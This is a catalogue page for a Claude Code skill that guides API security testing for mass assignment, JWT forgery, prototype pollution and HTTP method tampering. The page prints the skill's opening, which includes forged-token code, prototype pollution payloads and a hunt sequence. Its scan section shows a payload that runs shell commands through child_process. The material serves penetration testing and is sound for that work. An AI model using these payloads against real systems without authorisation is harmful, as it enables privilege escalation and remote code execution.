hunt-api-misconfig

hunt-api-misconfig is a skill for Claude Code from Zyrexnn/Cybermes. It costs 207 tokens per session (4,524 once invoked), scanned A, a copy of hunt-api-misconfig, Apache-2.0.

A guide for checking APIs for security mistakes that may let attackers change protected fields, alter server-side object behavior, or bypass normal request rules. An API is a way for software to exchange requests and data.

In plain words
What is it for?
Testing profile, settings, cart, import, webhook, and similar endpoints for mass assignment, prototype pollution, and HTTP method tampering.
Why use it?
It provides a focused sequence for finding dangerous input-handling flaws and proving whether they affect later operations, rather than treating any successful request as a vulnerability.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the Claude-BugHunter plugin — 11 skills, 15 commands shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/zyrexnn/cybermes/hunt-api-misconfig
Any agent
npx skills add Zyrexnn/Cybermes --skill hunt-api-misconfig
Clone the repo
git clone --depth 1 https://github.com/Zyrexnn/Cybermes

Made for: Claude Code.

Or install Claude-BugHunter, the plugin that ships this one along with the rest of its 11 skills, 15 commands.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-api-misconfig

README.md
[![agentmods](https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-api-misconfig.svg)](https://agentmods.dev/skills/zyrexnn/cybermes/hunt-api-misconfig)
Your own site
<a href="https://agentmods.dev/skills/zyrexnn/cybermes/hunt-api-misconfig"><img src="https://agentmods.dev/badge/skills/zyrexnn/cybermes/hunt-api-misconfig.svg" alt="Measured on agentmods" height="20"></a>
Per session 207 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,524 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin 98% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00207 $0.04524
Opus 5 $0.00103 $0.02262
Sonnet 5 $0.00041 $0.00905
Haiku 4.5 $0.00021 $0.00452

Measured 6d ago against content hash f4be73d5c9fe, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade A, and why

hunt-api-misconfig scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
Origin

This is a copy

98% identical to hunt-api-misconfig — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

knowledge/Claude-BugHunter/skills/hunt-api-misconfig/SKILL.md · 267 lines

How it starts

The opening of the file, as written. The whole thing — 267 lines — stays where its author put it; the contents beside it link to each section on GitHub.

12. API SECURITY MISCONFIGURATION

Mass Assignment

User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it

Prototype Pollution

// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype state reaches a later operation.

Hunt sequence:

  1. Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
  2. Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
  1. Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
  2. Escalate only through learned sinks. Candidate properties depend on the sink:

Read the full file on GitHub · 267 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 267 lines · 207 tokens per session scan A f4be73d5c9fe

Subscribe to this mod's changes

hunt-api-misconfig is a skill published in the GitHub repository Zyrexnn/Cybermes (668 stars, last pushed 6d ago), licensed Apache-2.0. It adds 207 tokens to every session and 4,524 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 98% identical to hunt-api-misconfig, differing in 2 lines, and is treated as a copy.

Related

Other skills, from other repositories

forensics-kit

Digital forensics and incident response toolbox. Load when the operator asks about a pcap, a binary, a memory dump, a suspicious file, malware triage, IOC hunting, or post-incident analysis. Covers network (tshark), binaries (radare2, strings, binwalk, file, exiftool), memory (volatility), and pattern matching (YARA).…

FrancescoStabile/numasec · 101 tokens

passive-osint

Passive reconnaissance against a target without sending traffic that could alert it. Load when the engagement starts, when you only know a domain/email/username, when scope is unclear, or when you need historical surface area. Covers subdomain enumeration (crt.sh, subfinder), historical archives (wayback), DNS posture…

FrancescoStabile/numasec · 99 tokens

agents-sdk

Build AI agents on Cloudflare Workers using the Agents SDK. Load when creating stateful agents, durable workflows, real-time WebSocket apps, scheduled tasks, MCP servers, or chat applications. Covers Agent class, state management, callable RPC, Workflows integration, and React hooks.

FrancescoStabile/numasec · 59 tokens

cloudflare

Comprehensive Cloudflare platform skill covering Workers, Pages, storage (KV, D1, R2), AI (Workers AI, Vectorize, Agents SDK), networking (Tunnel, Spectrum), security (WAF, DDoS), and infrastructure-as-code (Terraform, Pulumi). Use for any Cloudflare development task.

FrancescoStabile/numasec · 68 tokens

authz-recipe

Broken Access Control is OWASP #1, but there is no drop-in CLI (Autorize / AuthMatrix are Burp extensions). This is the procedure that carries the whole category: an authorization-matrix + A/B session-replay method driving curl, the playwright skill (per-identity sessions), and ffuf (ID enumeration). Live →…

tr4m0ryp/shor · 62 tokens

git-security-history

A small recipe over the already-cloned repo. It runs git log --grep for security/CVE/fix patterns, maps the touched files into ranked hot files, and emits historicalsignal.json. It optionally folds in two signals you may have ALREADY produced this phase — osv-scanner JSON (dependency CVEs) and gitleaks JSON (history…

tr4m0ryp/shor · 86 tokens